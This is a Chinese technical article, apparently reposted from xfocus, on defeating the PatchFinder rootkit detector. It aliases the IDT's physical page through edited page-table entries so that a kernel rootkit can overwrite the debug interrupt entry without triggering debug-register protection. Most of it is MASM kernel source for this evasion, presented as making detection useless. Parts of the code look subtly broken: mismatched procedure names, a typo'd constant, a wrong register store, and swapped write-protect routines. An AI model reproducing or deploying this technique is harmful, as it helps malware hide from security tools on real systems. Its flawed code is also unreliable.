绕过Windows Rootkit检测系统 |
from:xfocus [介绍] PatchFinder是一个设计很巧妙的程序,基于EPA(执行路径分析)技术用来检测侵入内核的Rootkit。附录1和2可以让你了解它是如何工作的。这篇文章将提供一种绕开EPA的方法。 [方法] EPA基于Intel处理器的单步模式,使用中断描述符表(IDT)的0x01入口。为了防止Rootkit修改这个入口,它使用调试寄存器(DR0、DR1)来保护调试处理程序(很不错的主意)。由DR0寄存器保护0x1入口,而由DR1寄存器保护中断处理程序。(注1:) 但是,让我们再读一遍Inter Manual [3]:“每个调试地址寄存器(DR0到DR3)保存32位的断点的线性地址”。注意:线性地址!在Windows 2000/XP下,通过分页机制把线性地址转换为物理地址。假设IDT的基地址是在0x8003F400,保存在IDTR中,那么IDT的0x01入口地址就是0x8003F408。Intel有关IDTR的说明:“基地址标明了IDT的0x00入口地址。”WIndows 2000/XP下由CR3寄存器指向的页目录被映射到线性地址0xC0300000。线性地址是由目录、表和偏移组成,通过分页机制我们将0x8003F408转换为物理地址就是0x03F00(由实验中得来)。现在我们要做的就是创建一个缓冲区,获取指向缓冲区的指针并修改页目录和页表使这个缓冲区指向物理地址0x03F00。然后,向这个缓冲区中写入的东西就会写入IDT,并且不会触发PatchFinder的保护机制。调试寄存器是根本无法保护内存的,因为它们无法保护物理内存。 [源代码] 这里是源代码,由MASM v8.0汇编。因为我喜欢汇编语言:-)完全的源代码可以在www.rootkit.com找到。 ;---定义IDTR结构------- DIDTR STRUCT ;IDTR dLIMIT WORD ? ibase DWORD ? DIDTR ENDS ;----------------------- ByepassIDTProtection PROC LOCAL dbgHandler:DWORD LOCAL myIDT:DIDTR LOCAL idtbase:DWORD LOCAL idtbaseoff:DWORD LOCAL idtPDE:DWORD LOCAL idtPDEaddr:DWORD LOCAL idtPTE:DWORD LOCAL idtPTEaddr:DWORD LOCAL varbase:DWORD LOCAL varbaseoff:DWORD LOCAL varPDE:DWORD LOCAL varPDEaddr:DWORD LOCAL varPTE:DWORD LOCAL varPTEaddr:DWORD LOCAL diffoffset:DWORD pushad ;分配一个页大小的内存(从非分页池中分配) invoke ExAllocatePool,NonPagedPoolMustSucceed,01000h mov varbase,eax cli ;记得恢复 invoke DisablePageProtection ;对XP,Regmon使用的一个很老的技巧 sidt myIDT mov eax,myIDT.ibase add eax,08h mov idtbase,eax ;idtbase = IDT的基地址 + 8字节 and eax,0FFC00000h ;获取IDT地址的目录索引 shr eax,22 shl eax,2 ;乘与4 mov ebx,0C0300000h ;0C0300000 = 页目录 add ebx,eax ;ebx = [页目录 + 目录索引*4] mov idtPDEaddr,ebx mov eax,[ebx] mov idtPDE,eax ;eax = IDT地址的页目录入口(PDE) mov eax,idtbase and eax,oFFFh ;获取IDT地址的低12位 = 页内偏移 mov idtbaseoff,eax mov eax,idtbase shr eax,12 ;获取IDT地址的高12位 shl eax,2 ;乘与4 mov ebx,0C0000000h ;进程页表映射在0xC0000000开始的4MB空间中 add ebx,eax mov idtPTEaddr,eax ;IDT地址的PTE的地址 mov eax,[ebx] mov idtPTE,eax ;取该地址的PTE mov eax,varbase and eax,0FFC00000h ;获取varbase的页目录索引 shr eax,22 shl eax,2 mov ebx,0C0300000h add ebx,eax mov varPDEaddr,ebx mov eax,[ebx] mov varPDE,eax mov eax,varbase and eax,0FFFh mov varbaseoff,eax mov eax,varbase shr eax,12 shl eax,2 mov ebx,0C0000000h add ebx,eax mov varPTEaddr,ebx mov eax,[ebx] mov varPTE,eax mov eax,varPDEaddr ;修改PDE为和IDT0x01的一样 mov ebx,idtPDE mov [eax],ebx mov eax,varPTEaddr ;修改PTE为和IDT0x01的一样 mov ebx,idtPTE mov [eax],ebx mov ebx,idtbaseoff ;修正页内偏移 mov eax,varbaseoff sub ebx,eax ;现在我们可以使用线性地址向IDT的0x01描述符内写入东西而不会触发调试寄存器 mov eax,varbase mov dword ptr [eax+ebx],0DEADBEEFh mov eax,varPDEaddr ;恢复原来的值 mov ebx,varPDE mov [eax],ebx mov eax,varPTEaddr ;恢复原来的值 mov ebx,varPTE mov [eax],ebx invoke EnablePageProtection ;恢复CR0寄存器的WP标志 sti popad ret BypassIDTProtection ENDP ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: EnablePageProtection PROC push eax mov eax,CR0 and eax,0FFFEFFFFh mov CR0,eax pop eax ret EnablePageProtection ENDP ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: DisablePageProtection PROC push eax mov eax,CR0 or eax,NOT 0FFFEFFFFh mov CR0,eax pop eax ret DisablePageProtection ENDP ;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: [Rootkit的未来] 很不幸,这种方法使EPA变得没用。如果微软不改变它的安全结构,没有一种办法能在未来阻止rookits。未来的rootkit会在分页机制上大有作为,这种有无限种可能性。一旦进入Ring 0,那么永远在Ring 0。 [参考] [1] Joanna Rutkowska,Advanced Windows 2000 Rootkit Detection(高级Rootkit检测技术) [2] Joanna Rutkowska,Detecting Windows Server Compromises with PatchFinder2 [3] IA32 Intel Architeture Softwares Developer's Manual, vol 1-3 注1: 这个图无法画出,就是画出了读者也不一定能看得明白(因为画的实在太简单了-_-)。我在这里补充一下用调试寄存器保护地址的原理。首先是DR0-DR4这4个调试寄存器保存了4个线性地址,然后通过DR7寄存器的相关位并检查DR6寄存器的相关位来对这4个地址进行相关操作。参考以下代码: #define DB_PROT_EXEC 0 #define DB_PROT_WRITE 1 #define DB_PROT_RW 3 #define DB_DR0 0 #define DB_DR1 1 #define DB_DR2 2 #define DB_DR3 3 #define DB_LEN_1B 0 #define DB_LEN_2B 1 #define DB_LEN_4B 3 int dbProtect (int reg, int addr, int len, int protection) { unsigned int dr7mask; switch (reg) { case 0: __asm { mov eax, addr; mov DR0, eax; } break; case 1: __asm { mov eax, addr; mov DR1, eax; } break; case 2: __asm { mov eax, addr; mov DR2, eax; } break; case 3: __asm { mov eax, addr; mov DR3, eax; } break; } dr7mask = 0x2<<(reg*2); dr7mask |= (( (len<<2) + protection) << (16+(4*reg))); __asm { mov eax, DR7; or eax, dr7mask; mov DR7, eax; } return 1; } int dbSetGeneralProtection () { __asm { mov eax, DR7; or eax, 0x1000; mov DR7, eax; } return 1; } 然后在中断处理程序中还要加入下面几句代码: mov eax, DR6; test ax, 0x100f; // BD |B3|B2|B1|B0 . . mov eax, DR6; // 检查DR6的BS(单步)位 test ah, 0x40; 最后决定对3个地址进行不同程度的保护: dbProtect (DB_DR0, (int)getIntGateAddr(NT_DEBUG_INT), DB_LEN_4B, DB_PROT_WRITE); dbProtect (DB_DR1, (int)getIntGateAddr(NT_DEBUG_INT)+4, DB_LEN_4B, DB_PROT_WRITE); dbProtect (DB_DR2, (int)NewDebugHandler1, DB_LEN_4B, DB_PROT_RW); 对DR6和DR7相关位的作用不太熟悉的可以去查Intel的手册15.2节 后级: 如果你对分页机制不太熟悉的话,可以参考我朋友JIURL的4篇很详细地介绍分页机制的文章:《JIURL玩玩Win2k内存篇 分页机制(1-4)》,网址:http://jiurl.yeah.net;或者WebCrazy的《小议分页机制》,网址:http://webcrazy.yeah.net。 水平有限,欢迎大家指出错漏之处。QQ:27324838 Email:kinvis@hotmail.com |
相关视频
相关阅读 Windows错误代码大全 Windows错误代码查询激活windows有什么用Mac QQ和Windows QQ聊天记录怎么合并 Mac QQ和Windows QQ聊天记录Windows 10自动更新怎么关闭 如何关闭Windows 10自动更新windows 10 rs4快速预览版17017下载错误问题Win10秋季创意者更新16291更新了什么 win10 16291更新内容windows10秋季创意者更新时间 windows10秋季创意者更新内容kb3150513补丁更新了什么 Windows 10补丁kb3150513是什么
热门文章 360免费wifi电脑版怎么有道云笔记怎么保存网有道云笔记内容丢失怎360免费wifi一直显示正
最新文章
微博热搜宝盒是什么 微最新微信编辑器哪个好
百度网盘安全吗?百度网盘信息泄露怎么回事乐视云盘关闭怎么办 乐视云盘关闭怎么转移文百度云盘下载速度慢解决方法2017 百度云盘下百度网盘怎么用迅雷下载2017 百度网盘怎么用
人气排行 无线网络密码破解WPA/WPA2教程(包教包会)微信编辑器哪个好 3种实用微信编辑器推荐foxmail邮件存储位置在哪 foxmail7.2邮件存p2p种子搜索器用不了解决办法360免费wifi没有无线网卡怎么办百度云网盘中怎么添加好友 百度云网盘添加微信电脑版聊天记录保存在哪 微信电脑版文件360云盘上传速度慢怎么办 360云盘上传速度慢
查看所有0条评论>>